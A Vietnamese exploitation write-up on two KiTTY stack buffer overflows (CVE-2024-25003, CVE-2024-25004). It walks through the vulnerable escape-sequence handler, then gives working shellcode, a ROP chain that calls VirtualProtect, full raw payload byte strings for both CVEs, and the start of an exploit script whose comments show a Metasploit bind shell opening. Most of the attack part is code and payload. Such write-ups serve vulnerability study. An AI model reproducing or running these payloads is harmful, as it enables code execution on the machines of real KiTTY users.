---
# System prepended metadata

title: 'Buffer Overflow Vulnerabilities in KiTTY Start Duplicated Session Hostname (CVE-2024-25003) & Username (CVE-2024-25004) '
tags: [PWN]

---

# Buffer Overflow Vulnerabilities in KiTTY Start Duplicated Session Hostname (CVE-2024-25003) & Username (CVE-2024-25004) Variables

# Phần 1: Tổng quan lỗ hổng

KiTTY versions 0.76.1.13 và các phiên bản trước đó bị dính lỗ hổng stack-bases buffer overflow thông qua tên máy chủ (hostname - CVE-2024-25003) hoặc tên người dùng (username - CVE-2024-25004). Điều này xảy ra do không đủ giới hạn kiểm tra và vệ sinh đầu vào không đảm bảo. Điều này cho phép kẻ tấn công có thể ghi đè lên các phần bộ nhớ liền kê, dẫn đến việc thực thi mã tùy ý.

Austin A. DeFrancesco (DEFCESCO) đã phát hiện ra hai lỗ hổng tràn bộ đệm dựa trên ngăn xếp trong KiTTY ( https://github.com/cyd01/KiTTY/ ). Các lỗ hổng này:

- Có thể bị khai thác bởi bất kỳ người dùng KiTTY nào kết nối với máy chủ có mã khai thác được nhúng;
- Các lỗ hổng bảo mật này được phát hiện trong bản phát hành gốc vào tháng 5 năm 2021 (commit 4f79b1e) và ảnh hưởng đến tất cả các phiên bản KiTTY ≤ 0.76.1.13 trong cấu hình mặc định của chúng.

Austin đã phát triển một khai thác cho các lỗ hổng này và có được lệnh thực thi mã từ xa trong bối cảnh người dùng đang chạy ứng dụng; theo mặc định, KiTTY có thể được vận hành trong nhóm quyền người dùng của Người dùng chuẩn (Standard User). Các mã khai thác này chạy ổn định và có thể lặp lại trên tất cả các hệ điều hành Microsoft Windows 11/10/8/7/XP.

# Phần 2: Phân tích lỗ hổng

Các lỗ hổng bof CVE-2024-25003 và CVE-2024-25004 nằm trong file ``kitty.c``. Đoạn mã dễ bị tấn công nằm trên các dòng từ 2597 đến 2602; ở trong bản sửa đổi gần nhất ``75fa2abcd220c172``

![image](https://hackmd.io/_uploads/r1Fw9hGEke.png)

```clike=
    if( (cmd[0]=='d')&&(cmd[1]=='t')&&(cmd[2]==':') ) { // __dt: start a duplicated session in same directory, same host and same user : dt() { printf "\033]0;__dt:"$(hostname)":"${USER}":"`pwd`"\007" ; }
        char host[1024]="";char user[256]="";
        int i;
        if( RemotePath!= NULL ) free( RemotePath ) ;
        RemotePath = (char*) malloc( strlen( cmd ) - 2 ) ;
        strcpy(host,cmd+3);i=poss(":",host);
        strcpy(user,host+i);
        host[i-1]='\0';
        i=poss(":",user);
        strcpy( RemotePath, user+i ) ;
        user[i-1]='\0';
        RunSessionWithCurrentSettings( hwnd, conf, host, user, NULL, 0, RemotePath ) ;
        return 1 ;
    }
```

Nếu KiTTy gặp chuỗi thoát ANSI ``\033]0;__dt`` trong một luồng, chương trình sẽ hiểu đây là cấu trúc lệnh để tạo một câu lệnh để nhân đôi phiên terminal

- \033: Đây là ký tự thoát (biểu diễn bát phân của ASCII ESC), báo hiệu sự bắt đầu của chuỗi thoát.
- ]0;: Phần trình tự này cho biết một siêu lệnh sẽ được xác định.
- ``__dt``:Đây là lệnh KiTTY dễ bị tấn công để sao chép thiết bị đầu cuối, lấy thông tin đầu vào là tên máy chủ và tên người dùng.
- ``\077``:Đây là chuỗi kết thúc để chỉ ra sự kết thúc của chuỗi thoát.
- Lệnh của KiTTY ``kitty.c`` ``__dt`` kiểm tra xem ba ký tự đầu tiên của chuỗi có phải cmdlà d, t, và :.

Nếu điều kiện là đúng (ở dòng 2596), một mảng ``host`` và``user`` sẽ được khai báo với kích thước lần lượt là 1024 và 256 (ở dòng 2597) và được khởi tạo ở dạng một chuỗi rỗng.

Khi đó:
- CVE-2024-25003: trong đó tên máy chủ dễ bị stack-bases buffer overflow, xảy ra do kiểm tra giới hạn và vệ sinh đầu vào không đủ (tại dòng 2600). Điều này cho phép kẻ tấn công ghi đè lên bộ nhớ liền kề, dẫn đến thực thi mã tùy ý.

- CVE-2024-25004: trong đó tên người dùng dễ bị stack-bases buffer overflow, xảy ra do kiểm tra giới hạn và khử trùng đầu vào không đủ (tại dòng 2600). Điều này cho phép kẻ tấn công ghi đè lên bộ nhớ liền kề, dẫn đến thực thi mã tùy ý.

Bởi vì ``RemotePath`` được tạo ra từ kích thước được tính toán khi chạy, ``RemotePath`` sẽ không bị dính lỗ hổng tràn bộ đệm. Cần lưu ý rằng ``RemotePath`` có thể là một con trỏ ``NULL`` nếu phân bổ không thành công.

- ``strcpy(host, cmd + 3);``: sao chép chuỗi con ``cmd`` bắt đầu từ ký tự thứ 4 (index 3) vào mảng ``host`` (tại dòng 2601).
- ``i = poss(":", host);`` Hàm ``poss`` tìm vị trí của ``:`` ký tự trong chuỗi ``host`` và gán nó cho biến i (ở dòng 2601).
- ``strcpy(user, host + i);`` sao chép chuỗi con ``host`` bắt đầu từ vị trí sau ``:`` vào mảng ``user`` (tại dòng 2602).

# Phần 3: Khai thác CVE-2024-25003

## Viết mã khai thác

Như đã phân tích, để tiến hành nhân đôi phiên Terminal, đoạn đầu tiên của Payloaf truyền vào sẽ là chuỗi byte ``b'\033]0;__dt:'``

Cấu trúc cơ bản của Payload sẽ gồm:

```
`b'\033]0;__dt:'`` + shellcode + return_address + rop + lệnh chạy shellcode
```

### Viết shellcode

Vì sau shellcode sẽ là return address nên lúc này cần phải đảm bảo Shellcode phải đủ dài để có thể tràn đến ``EIP``

Mở chương trình bằng IDA, tham chiếu đến phần mã giả tương ứng với các dòng gây lỗi trong source code

![image](https://hackmd.io/_uploads/r1NEI6zVyg.png)

Nhấp đúp vào ta sẽ thấy vị trí của biến ``Destination`` ta sẽ thấy vị trí của nó trên stack của hàm tại offset ``0x41C``

![image](https://hackmd.io/_uploads/rkoKITzEkg.png)

Lướt xuống dưới cùng, offset của EIP là 0x0

![image](https://hackmd.io/_uploads/ryf2IaGEyg.png)

Khi này, để đảm bảo đến được EIP, Shellcode sẽ có độ dài là 0x41C, tương ứng với 1052 kí tự

Để phù hợp với môi trường thực nghiệm tạm thời, Shellcode sẽ được viết để gọi đến chương trình ``Calc``, một chương trình mô phỏng máy tính cầm tay đơn giản trên Windows

```
Disassembly:
0:  b8 ad eb 4c ff          mov    eax,0xff4cebad
5:  bb 11 11 11 ff          mov    ebx,0xff111111
a:  31 d8                   xor    eax,ebx					; 005DFABC		CreateFileA	KERNEL32
c:  8b 18                   mov    ebx,DWORD PTR [eax]
e:  89 d8                   mov    eax,ebx
10: b9 f1 77 15 ff          mov    ecx,0xff1577f1
15: ba 11 11 11 ff          mov    edx,0xff111111
1a: 31 d1                   xor    ecx,edx					; 0x466e0: offset WinExec from CreateFileA
1c: 01 c8                   add    eax,ecx
1e: 89 c3                   mov    ebx,eax					; ebx = VA off WinExec
20: 31 c0                   xor    eax,eax
22: 50                      push   eax
23: 68 63 61 6c 63          push   0x636c6163				; clac
28: 54                      push   esp
29: ff d3                   call   ebx						; WinExec("calc")
```

Shellcode này được viết dựa trên việc lấy địa chỉ của hàm ``WinExec``, bằng cách tính độ lệch của hàm này với API CreateFileA, một API được import sẵn trong ``kitty.exe``, với ``005DFABC`` là RVA của ``CreateFileA``, có thể xem được giá trị này trong subview import trên IDA. ``0x466e0`` là offset của hàm WinExec so với hàm ``CreateFileA``. Offset này sẽ khác nhau tùy theo cấu hình máy chạy chương trình.

![image](https://hackmd.io/_uploads/BylPu6f4kx.png)

Việc còn lại là dịch lại esp và đệm thêm byte nop để đảm bảo shellcode dài đủ 1052 kí tự

```python=
def shellcode():
	sc = b''
	sc += b'\xBB\x44\x24\x44\x44' # mov    ebx,0x44442444
	sc += b'\xB8\x44\x44\x44\x44' # mov    eax,0x44444444
	sc += b'\x29\xD8'             # sub    eax,ebx
	sc += b'\x29\xC4'             # sub    esp,eax
	sc += buf
	sc += b'\x90' * (1052-len(sc))
	assert len(sc) == 1052 
	return sc
```

### Create Rop Chain

Mặc dù có Shellcode, tuy nhiên Shellcode có thể nằm trong vùng nhớ không có quyền thực thi. Vì vậy cần phải đảm bảo cho Shellcode có quyền thực thi bằng cách sử dụng các API cấp quyền thực thi cho vùng nhớ như Virtual Protect

Bằng cách lợi dụng các đoạn Rop Chain, là những đoạn lệnh chương trình trước lệnh ret, ta có thể dựa vào đó để thiết lập trạng thái các thanh ghi cho chương trình, để đảm bảo chương trình có thể gọi tới hàm Virtual Protect mà không gặp vấn đề gì

```python=
def create_rop_chain():

	# rop chain generated with mona.py - www.corelan.be
	rop_gadgets = [
	#[---INFO:gadgets_to_set_esi:---]
	0x004c5832,  # POP EAX # ADD ESP,14 # POP EBX # POP ESI # RETN [kitty.exe]
	0x006424a4,  # ptr to &VirtualProtect() [IAT kitty.exe]
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x41414141,  # Filler (compensate)
	0x00484e07,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [kitty.exe]
	0x00473cf6,  # XCHG EAX,ESI # RETN [kitty.exe]
	#[---INFO:gadgets_to_set_ebp:---]
	0x00429953,  # POP EBP # RETN [kitty.exe]
	0x005405b0, # push esp; ret 0 [kitty.exe]
	#[---INFO:gadgets_to_set_ebx:---]
	0x0049d9f9,  # POP EBX # RETN [kitty.exe]
	0x00000201,  # 0x00000201-> ebx
	#[---INFO:gadgets_to_set_edx:---]
	0x00430dce,  # POP EDX # RETN [kitty.exe]
	0x00000040,  # 0x00000040-> edx
	#[---INFO:gadgets_to_set_ecx:---]
	0x005ac58c,  # POP ECX # RETN [kitty.exe]
	0x004d81d9,  # &Writable location [kitty.exe]
	#[---INFO:gadgets_to_set_edi:---]
	0x004fa404,  # POP EDI # RETN [kitty.exe]
	0x005a2001,  # RETN (ROP NOP) [kitty.exe]
	#[---INFO:gadgets_to_set_eax:---]
	0x004cd011,  # POP EAX # POP EBX # RETN [kitty.exe]
	0x90909090,  # nop
	0x41414141,  # Filler (compensate)
	#[---INFO:pushad:---]
	# 0x005dfbac,  # PUSHAD # RETN [kitty.exe]
	0x00529f38	# pushal; ret; 
	]
	return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
```

Kết quả sau khi thực thi và Debug bằng WinDbg, có thể thấy chương trình đã gọi được hàm VirtualProtect

![image](https://hackmd.io/_uploads/rkGMCaf41e.png)

Hàm VirtualProtect được gọi với các tham số:

```cpp=
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
```

Dựa vào đó ta có lệnh được thực thi như sau

```cpp=
VirtualProtect(LPVOID(0084e940), 41414141, 40, (PDWORD)004d81d9);
```

Tham số đầu tiên là địa chỉ cần thay đổi quyền, là ``0084e940`` đây là địa chỉ của shellcode sau trên memory sau khi ghi tràn vào

![image](https://hackmd.io/_uploads/ryio0pz41x.png)

Tham số thư hai đơn thuần là độ lớn của vùng nhớ được cấp quyền, tham số này chỉ cần lớn hơn độ dài shellcode là được

Tham số thứ ba là 40, tương đương với enum ``PAGE_EXECUTE_READWRITE``. Điều này đảm bảo cấp quyền thực thi cho vùng nhớ

Tham số thứ tư chỉ là con trỏ trỏ đến địa chỉ ghi lại giá trị quyền của vùng nhớ trước đó 

Tổng kết lại, mục địch của việc tạo Rop Chain trong trường hợp này là để gọi hàm VirtualProtect và cấp quyền cho vùng nhớ chứa Shellcode cần được thực thi

### Hoàn thiện Payload

Phần cuối cùng của Payload chỉ là thêm lệnh ``jmp $eip-1490``, là địa chỉ của Shellcode, và đệm thêm một số lệnh nop vào

```python=
escape_sequence += b'\x90'
escape_sequence += b"\xE9\x2A\xFA\xFF\xFF" #jmp $eip-1490
escape_sequence += nops + b'\007'

stdout = os.fdopen(sys.stdout.fileno(), 'wb') 
stdout.write(escape_sequence)
stdout.flush()
```

Dưới đây là Payload thu được dùng để khai thác CVE-2024-25003

```
b'\x1b]0;__dt:\xbbD$DD\xb8DDDD)\xd8)\xc4\xb8\xad\xebL\xff\xbb\x11\x11\x11\xff1\xd8\x8b\x18\x89\xd8\xb9\xf1w\x15\xff\xba\x11\x11\x11\xff1\xd1\x01\xc8\x89\xc31\xc0PhcalcT\xff\xd3\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90<\x03R\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x902XL\x00\xa4$d\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x07NH\x00\xf6<G\x00S\x99B\x00\xb0\x05T\x00\xf9\xd9I\x00\x01\x02\x00\x00\xce\rC\x00@\x00\x00\x00\x8c\xc5Z\x00\xd9\x81M\x00\x04\xa4O\x00\x01 Z\x00\x11\xd0L\x00\x90\x90\x90\x90AAAA8\x9fR\x00\x90\xe9*\xfa\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x07'
```

Kết quả thực hiện khai thác CVE-2024-25003

![image](https://hackmd.io/_uploads/r1ZlRm7VJe.png)


# Phần 4: Khai thác CVE-2024-25004

Cách viết mã khai thác của CVE-2024-25004 cũng tương đối giống với CVE-2024-25003, chỉ là thay đổi 1 chút về phần đầu của Payload truyền vào và độ dài của Shellcode

Để để tiến hành nhân đôi phiên Terminal, cấu trúc Payload sẽ có dạng

```
\033]0;__dt:hostname:username
```

CVE-2024-25004 khai thác vào lỗ hổng tràn bộ đệm của phần ``username``, khác với CVE-2024-25003 là phần ``hostname``

Vì vậy để khai thác ta cần có 1 ``hostname``, có thể lấy ``localhost`` làm hostname tạm thời để khai thác

Khi ấy đoạn đầu payload sẽ trở thành

```
b'\033]0;__dt:localhost:'
```

Mảng Destination sẽ bắt đầu nhận data từ dấu ``:`` đầu tiên, tức là phần ``localhost:`` sẽ được ghi vào mảng. Như đã phân tích ở CVE-2024-25003, offset đến EIP vẫn là 1052, đoạn ``localhost:`` có độ dài là 10. Vậy nên trong trường hợp này Shellcode sẽ có độ dài là 1042.

Việc còn lại chỉ là sửa lại len của Shellcode. Có thể giữ nguyên phần mã chính của Shellcode và phần Rop_Chain như CVE-2024-25003

```python=
def shellcode():
	sc = b'' 
	sc += b'\xBB\x44\x24\x44\x44' # mov    ebx,0x44442444
	sc += b'\xB8\x44\x44\x44\x44' # mov    eax,0x44444444
	sc += b'\x29\xD8'             # sub    eax,ebx
	sc += b'\x29\xC4'             # sub    esp,eax
	sc += buf
	sc += b'\x90' * (1042-len(sc))
	assert len(sc) == 1042 
	return sc
```

Dưới đây là Payload thu được dùng để khai thác CVE-2024-25003

```
b'\x1b]0;__dt:localhost:\xbbD$DD\xb8DDDD)\xd8)\xc4\xb8\xad\xebL\xff\xbb\x11\x11\x11\xff1\xd8\x8b\x18\x89\xd8\xb9\xf1w\x15\xff\xba\x11\x11\x11\xff1\xd1\x01\xc8\x89\xc31\xc0PhcalcT\xff\xd3\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x97R\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x902XL\x00\xa4$d\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x07NH\x00\xf6<G\x00S\x99B\x00\xb0\x05T\x00\xf9\xd9I\x00\x01\x02\x00\x00\xce\rC\x00@\x00\x00\x00\x8c\xc5Z\x00\xd9\x81M\x00\x04\xa4O\x00\x01 Z\x00\x11\xd0L\x00\x90\x90\x90\x90AAAA8\x9fR\x00\xe9=\xfa\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x07'
```

Kết quả thực hiện khai thác CVE-2024-25004

![image](https://hackmd.io/_uploads/SJg_amX4kx.png)


# Phụ lục: Code Exploit

- CVE-2024-25003

```python=
# Exploit Title: KiTTY 0.76.1.13 - 'Start Duplicated Session Hostname' Buffer Overflow
# Exploit Author: DEFCESCO (Austin A. DeFrancesco)
# Vendor Homepage: https://github.com/cyd01/KiTTY/=
# Software Link: https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip
# Version: ≤ 0.76.1.13
# Tested on: Microsoft Windows 11/10/8/7/XP
# CVE: 2024-25003
#-------------------------------------------------------------------------------------#
# Blog: https://blog.DEFCESCO.io/Hell0+KiTTY
#-------------------------------------------------------------------------------------#
# msf6 payload(windows/shell_bind_tcp) > to_handler                                   #
# [*] Payload Handler Started as Job 1                                                #
# msf6 payload(windows/shell_bind_tcp) >                                              #
# [*] Started bind TCP handler against 192.168.100.28:4444                            #
# [*] Command shell session 1 opened (192.168.100.119:39315 -> 192.168.100.28:4444)   # 
#-------------------------------------------------------------------------------------#

import sys
import os
import struct

#---------------------------------------------------------------------------------------------#
# msf6 payload(windows/shell_bind_tcp) > generate -b '\x00\x07\x0a\x0d\x1b\x9c\x3A\x40' -f py #
# windows/shell_bind_tcp - 375 bytes                                                          #
# https://metasploit.com/                                                                     #
# Encoder: x86/xor_poly                                                                       #
